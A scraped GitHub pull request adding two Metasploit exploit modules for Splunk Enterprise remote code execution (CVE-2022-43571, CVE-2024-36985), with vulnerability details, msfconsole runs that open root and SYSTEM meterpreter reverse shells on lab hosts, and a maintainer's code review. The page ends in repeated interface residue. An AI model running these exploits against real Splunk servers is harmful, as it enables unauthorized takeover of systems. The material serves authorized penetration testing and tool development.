Add Splunk RCE Exploits (CVE-2022-43571 & CVE-2024-36985) #20770

vognik · 2025-12-12T21:25:44Z

CVE-2022-43571

Vulnerability Details

This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.

An attacker can inject arbitrary Python code into style parameters, such as the fillColor or lineColor of a sparkline element within a Splunk SimpleXML dashboard.
The malicious code is executed when a user triggers the PDF export function for the dashboard.

The affected versions include any release prior to 8.1.12, as well as versions 8.2.0 through 8.2.9 and 9.0.0 through 9.0.2.

Module Information

Module path: modules/exploits/multi/http/splunk_auth_rce_cve_2022_43571.rb
Platform: Linux/Unix/Windows

References

Test Output

Linux

msf6 > use multi/http/splunk_auth_rce_cve_2022
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set RHOSTS 192.168.19.139
RHOSTS => 192.168.19.139
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set RPORT 8000
RPORT => 8000
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set PASSWORD password123
PASSWORD => password123
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > run

[*] Started reverse TCP handler on 192.168.19.130:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] SUCCESSFUL LOGIN. 'admin' : 'password123'
[+] The target appears to be vulnerable. Exploitable version found: 8.2.4
[*] Sending stage (24772 bytes) to 192.168.19.139
[*] Meterpreter session 2 opened (192.168.19.130:4444 -> 192.168.19.139:59524) at 2025-12-12 15:11:44 -0500

meterpreter > sysinfo
Computer        : ubuntu
OS              : Linux 5.4.0-150-generic #167~18.04.1-Ubuntu SMP Wed May 24 00:51:42 UTC 2023
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter > getuid
Server username: root

Windows

msf6 > use multi/http/splunk_auth_rce_cve_2022_43571
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set RHOSTS 192.168.19.137
RHOSTS => 192.168.19.137
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set RPORT 8000
RPORT => 8000
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > set PASSWORD password123
PASSWORD => password123
msf6 exploit(multi/http/splunk_auth_rce_cve_2022_43571) > run

[*] Started reverse TCP handler on 192.168.19.130:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] SUCCESSFUL LOGIN. 'admin' : 'password123'
[+] The target appears to be vulnerable. Exploitable version found: 8.2.6
[*] Sending stage (24772 bytes) to 192.168.19.137
[*] Meterpreter session 3 opened (192.168.19.130:4444 -> 192.168.19.137:62128) at 2025-12-12 15:21:53 -0500

meterpreter > sysinfo
Computer        : DESKTOP-vognik
OS              : Windows 10 (Build 19044)
Architecture    : x64
System Language : en_US
Meterpreter     : python/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

CVE-2024-36985

Vulnerability Details

This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise (splunk_archiver application).

The flaw is rooted in the unsafe use of a Splunk lookup function, specifically | copybuckets, within the splunk_archiver application, which ultimately leads to the execution of the helper script sudobash with attacker-controlled arguments.

The affected versions include any release prior to 9.0.10, as well as versions 9.1.2 through 9.1.5 and 9.2.0 through 9.2.2.

Module Information

Module path: modules/exploits/linux/http/splunk_auth_rce_cve_2024_36985.rb
Platform: Linux/Unix

References

Test Output

msf6 > use linux/http/splunk_auth_rce_cve_2024_36985
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set RHOSTS 192.168.19.139
RHOSTS => 192.168.19.139
msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set RPORT 8000
RPORT => 8000
msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set FETCH_SRVPORT 8090
FETCH_SRVPORT => 8090
msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set PASSWORD password123
PASSWORD => password123
msf6 exploit(linux/http/splunk_auth_rce_cve_2024_36985) > run

[*] Started reverse TCP handler on 192.168.19.130:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] SUCCESSFUL LOGIN. 'admin' : 'password123'
[+] The target appears to be vulnerable. Exploitable version found: 8.2.4, splunk_archiver app is enabled
[*] Sending stage (3045380 bytes) to 192.168.19.139
[*] Meterpreter session 1 opened (192.168.19.130:4444 -> 192.168.19.139:55936) at 2025-12-12 15:04:44 -0500

meterpreter > sysinfo
Computer     : 192.168.19.139
OS           : Ubuntu 18.04 (Linux 5.4.0-150-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

vognik · 2025-12-15T10:23:54Z

There are a few problems:

When you execute | archivebuckets forcerun=1, the system takes a few seconds to drop sudobash. It seems like I need to add sleep
The index _internal can be empty
The get_apps function can't retrieve the full list of apps because it doesn't support pagination
When Splunk is running behind a reverse proxy, the suffix of the splunkweb_csrf_token_ cookie does not always match RHOST

jheysel-r7

Thanks for the modules and library additions @vognik! Both look great and are working as expected. A couple suggestions.

Testing

msf exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
set msf exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set password password123
password => password123
msf exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set rport 8000
rport => 8000
msf exploit(linux/http/splunk_auth_rce_cve_2024_36985) > set forceexploit true
 forceexploit => true
msf exploit(linux/http/splunk_auth_rce_cve_2024_36985) > run
[*] Started reverse TCP handler on 192.168.1.68:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] SUCCESSFUL LOGIN. 'admin' : 'password123'
[!] The target is not exploitable. Non-vulnerable version found: 8.2.4 ForceExploit is enabled, proceeding with exploitation.
[*] Sending sudobash create request...
[+] sudobash create request has been sent!
[*] Sleep for 3 seconds before it is dropped on the filesystem...
[+] Sleep Completed
[*] Sending trigger exploit request...
[*] Sending stage (3090404 bytes) to 192.168.1.68
[*] Meterpreter session 1 opened (192.168.1.68:4444 -> 192.168.1.68:56797) at 2026-01-05 08:53:27 -0800

meterpreter > getuid
Server username: splunk
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Red Hat Enterprise Linux 8 (Linux 6.12.54-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

msf exploit(multi/http/splunk_auth_rce_cve_2022_43571) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] SUCCESSFUL LOGIN. 'admin' : 'password123'
[+] The target appears to be vulnerable. Exploitable version found: 8.2.4
[*] Sending stage (23408 bytes) to 172.16.199.1
[-] Meterpreter session 2 is not valid and will be closed
[*] Sending stage (23408 bytes) to 172.16.199.1
[*] 127.0.0.1 - Meterpreter session 2 closed.
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.1:58958) at 2026-01-05 10:37:36 -0800

meterpreter > getuid
Server username: splunk
meterpreter > sysinfio
[-] Unknown command: sysinfio. Did you mean sysinfo? Run the help command for more details.
meterpreter > sysinfo
Computer        : 53f620d861ee
OS              : Linux 6.12.54-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Nov  4 21:39:03 UTC 2025
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter >

jheysel-r7 · 2026-01-05T17:07:24Z

lib/msf/core/exploit/remote/http/splunk/apps.rb

+    apps = {}
+    vars_get = {}
+
+    loop do


Would it be better to use Metasploit's retry_until_truthy or some type of loop that has a definitive end just in case?

metasploit-framework/lib/msf/core/exploit/retry.rb

Line 8 in 1aceb71

def retry_until_truthy(timeout:)

jheysel-r7 · 2026-01-05T17:20:54Z

lib/msf/core/exploit/remote/http/splunk/dashboards.rb

+  # @param cookie [String] Valid admin's cookie
+  # @return [Rex::Proto::Http::Response] HTTP response object
+  def create_dashboard(namespace, name, template, cookie)
+    csrf = extract_csrf_token(cookie)


Would it be worth it to check to see if csrf is nil here before using it send_request_cgi?

Just curious, this comment would apply to a number of places in this PR, I noticed extracted_csrf_token can return nil but the return value is never checked before being used.

jheysel-r7 · 2026-01-05T17:31:07Z

lib/msf/core/exploit/remote/http/splunk/version.rb

+      return nil
+    end
+
+    version = splunkd_partials.dig('/services/server/info', 'entry', 0, 'content', 'version')


Suggested change

version = splunkd_partials.dig('/services/server/info', 'entry', 0, 'content', 'version')

version = splunkd_partials.dig('/services/server/info', 'entry', 0, 'content', 'version')

return nil unless version

jheysel-r7 · 2026-01-05T17:37:40Z

modules/exploits/linux/http/splunk_auth_rce_cve_2024_36985.rb

+      [
+        OptString.new('TARGETURI', [true, 'Path to the Splunk App', '/']),
+        OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
+        OptString.new('PASSWORD', [ true, 'The password for the specified username', 'changeme' ]),


I know this is used elsewhere in the code base however I think the preferred way is to leave the default blank with required set to true. In the event the operator doesn't set the password, the framework notifies them, instead of the module running against the target with the password set to changeme.

Suggested change

OptString.new('PASSWORD', [ true, 'The password for the specified username', 'changeme' ]),

OptString.new('PASSWORD', [ true, 'The password for the specified username']),

jheysel-r7 · 2026-01-05T17:50:25Z

modules/exploits/linux/http/splunk_auth_rce_cve_2024_36985.rb

+  def check
+    @cookie = splunk_login(datastore['USERNAME'], datastore['password'])
+    version = splunk_home_version(@cookie)
+    if version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.9')) ||


The doc descriptions says "The affected versions include any release prior to 9.0.10"

Suggested change

if version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.9')) ||

if version <= Rex::Version.new('9.0.9')) ||

jheysel-r7 · 2026-01-05T18:04:30Z

modules/exploits/linux/http/splunk_auth_rce_cve_2024_36985.rb

+          "env.#{env_name}" => payload
+        }
+      }
+    }.to_json.to_json


Is this double encode intentional? If so, could you add a brief comment explaining why

jheysel-r7 · 2026-01-05T18:30:03Z

modules/exploits/linux/http/splunk_auth_rce_cve_2024_36985.rb

+    print_good('sudobash create request has been sent!')
+
+    print_status('Sleep for 3 seconds before it is dropped on the filesystem...')
+    Rex::ThreadSafe.sleep(3)


Could you make the sleep time a configurable datastore option please?

jheysel-r7 · 2026-01-05T19:05:49Z

modules/exploits/multi/http/splunk_auth_rce_cve_2022_43571.rb

+    dash_template.gsub(/^\s+/, '')
+  end
+
+  def cleanup


Suggested change

def cleanup

def cleanup

super

jheysel-r7 · 2026-01-05T19:24:10Z

modules/exploits/multi/http/splunk_auth_rce_cve_2022_43571.rb

+  rescue StandardError
+    nil


Would this be more beneficial to the operator?

Suggested change

rescue StandardError

nil

rescue Msf::Exploit::Failed

print_warning("Module failed to delete the dashboard, \"#{@dash_name}\", which was created by the exploit")

jheysel-r7 · 2026-01-05T19:25:01Z

modules/exploits/multi/http/splunk_auth_rce_cve_2022_43571.rb

+
+  def exploit
+    if @cookie.nil?
+      @cookie = splunk_login(datastore['USERNAME'], datastore['password'])


Nit pick - would you be able to capitalize instances of datastore['password'] across these two modules for consistency?

Suggested change

@cookie = splunk_login(datastore['USERNAME'], datastore['password'])

@cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])

vognik added 10 commits December 12, 2025 13:16

add splunk modules (cve-2022-43571 and cve-2024-36985)

ee404d9

add documentation

da0dc35

fix cve format in references

0f96f2f

remove unused function calls

b35c8b3

fix credits

4ff2f35

fix variables naming

ebd7362

extracted get_apps url into uris.rb

35dd551

randomize provider name in payload

7149b9a

add create_sudobash payload option

055d243

add docker lab deploy guide into docs

8977538

vognik marked this pull request as draft December 15, 2025 10:24

vognik added 5 commits December 16, 2025 10:03

add pagination support to get_apps function

1d4b8ce

improve csrf token parsing

6d059bd

fix error handling

59dc9dd

add use_inline_splunk_query option

51bfa8a

add delay to sudobash drop file

8fdb4ab

vognik marked this pull request as ready for review December 18, 2025 16:50

vognik added 2 commits December 18, 2025 08:59

replace vprint_status with print_status in login.rb module

9fbf4e1

fix version check

cd8f159

jheysel-r7 self-assigned this Jan 5, 2026

jheysel-r7 reviewed Jan 5, 2026

View reviewed changes

jheysel-r7 added module docs rn-modules release notes for new or majorly enhanced modules labels Jan 5, 2026

jheysel-r7 added this to Metasploit Kanban Jan 7, 2026

github-project-automation bot moved this to Todo in Metasploit Kanban Jan 7, 2026

jheysel-r7 moved this from Todo to Waiting on Contributor in Metasploit Kanban Jan 9, 2026

	version = splunkd_partials.dig('/services/server/info', 'entry', 0, 'content', 'version')
	version = splunkd_partials.dig('/services/server/info', 'entry', 0, 'content', 'version')
	return nil unless version

	OptString.new('PASSWORD', [ true, 'The password for the specified username', 'changeme' ]),
	OptString.new('PASSWORD', [ true, 'The password for the specified username']),

	if version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.9')) \|\|
	if version <= Rex::Version.new('9.0.9')) \|\|

-  rescue StandardError
-    nil
+  rescue Msf::Exploit::Failed
+    print_warning("Module failed to delete the dashboard, \"#{@dash_name}\", which was created by the exploit")

	@cookie = splunk_login(datastore['USERNAME'], datastore['password'])
	@cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])

Add Splunk RCE Exploits (CVE-2022-43571 & CVE-2024-36985) #20770

Are you sure you want to change the base?

Add Splunk RCE Exploits (CVE-2022-43571 & CVE-2024-36985) #20770

Uh oh!

Conversation

vognik commented Dec 12, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Vulnerability Details

Module Information

References

Test Output

Linux

Windows

Vulnerability Details

Module Information

References

Test Output

Uh oh!

vognik commented Dec 15, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

jheysel-r7 left a comment

Choose a reason for hiding this comment

Testing

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

2 participants

vognik commented Dec 12, 2025 •

edited

Loading

vognik commented Dec 15, 2025 •

edited

Loading